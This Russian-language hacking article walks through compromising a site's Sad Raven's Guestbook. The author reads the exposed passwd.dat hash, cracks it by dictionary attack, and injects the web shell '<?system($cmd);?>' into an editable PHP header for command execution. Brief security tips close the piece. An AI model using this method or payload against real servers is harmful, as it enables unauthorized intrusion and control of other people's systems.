Однажды, мой друг попросил меня протестировать его сайт на безопасность.
Естественно я согласился. Просканировав порты я понял, что нужно искать
дырку в скриптах. Чем я и занялся. Но как назло я не смог ничего найти. На
сайте практически нет скриптов, а те который есть защищены. Моё внимание
привлекла гостевая книга. Дело в том, что все скрипты на сайте были написаны
автором, а гостевая нет! Это был скрипт очень популярной гостевой Sad
Raven's Guestbook. Протестировал скрипт на популярные ошибки
- не судьба, все входные параметры
фильтровались... Тогда я скачал исходники и стал
разбираться.

Гостевая состоит из 2 модулей,
администрирование и собственно сама
гостевая. Нас интересует администрирование...
Практически сразу я понял, что пароль
хранится в зашифрованном виде (MD5).

if (file_exists("passwd.dat") &&
$QUERY_STRING != ""):
require ("passwd.dat");
if (!isset($alogin) || md5($pass) != $Password[$alogin] ||
!isset($Password[$alogin])):

Пароль хранится в файле passwd.dat. Открыв этот
файл в браузере, я увидел:

<?php
$Password['root'] = "7e0c76b830931fc0eca7e69a4a2574db";
?>

Оставалось только расшифровать пароль. Это
делается софтиной md5indide. Для взлома
необходимо создать текстовый документ и
вписать в него следующее:
$Password['root'] = "7e0c76b830931fc0eca7e69a4a2574db";
Далее этот файл открывается в md5inside и
расшифровывается Наибольший процент дает
перебор по словарю. Через 20 минут у меня был
пароль от админки. Если ты думаешь, что я
получил только доступ к редактированию
сообщений, то сильно заблуждаешься. Я мог
редактировать дизайн! Я зашел в этот раздел
и увидел, что можно редактировать два файла
- header.inc.php и footer.inc.php . Оба отвечают за вид
Гостевой. Так вот, расширение у обоих сами
видите какое.

Первый файл:

<html>
<head>
<title>Гостевая книга</title>
<meta http-equiv="content-type" content="text/html; charset=windows-1251">

<link rel=stylesheet href=design/guest.css type=text/css>
<script language=JavaScript><!--
var ico;function smile(ico)
{document.Sad_Raven_Guestbook.mess. value=document.Sad_Raven_Guestbook.
mess.value+ico;}
//--></script>
</head>
<body bgcolor=<?=$BACKGROUND?> topmargin=15 leftmargin=0 marginwidth=0
marginheight=0>
<div align=center>
<table width=598 border=0 cellspacing=0 cellpadding=2><tr><td>

<table width=598 border=0 cellspacing=1 cellpadding=3
bgcolor=<?=$BORDER?>> <tr><td align=center class=p
bgcolor="<?=$DARK?>"> <b></b></td></tr></table>

</td></tr><tr><td>

Значит я могу выполнять любой php код!!!
Остается добавить в конец <?system($cmd);?>. Все!
Я получил возможность выполнять ЛЮБЫЕ (на
что хватит прав) команды на сервере! Дальше
я просто поменял права на index.htm, поставил их
равными 0600 ?)). Это самое безобидное, что
можно было сделать, сами понимаете. Теперь
пару слов о безопасности. Прежде всего не
выбирай простые пароли! Берите что-нибудь
такое: F^L@C^4_@%$)*#&^&. Замени в файле admin.php <passwd.dat>
на что-нибудь бессмысленное, например
dsiahfhh.dat. И по возможности не пользуйся
чужими скриптами. Если ты неуверен на 100% в
безопасности скрипта - удали его и напишите
свой!

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии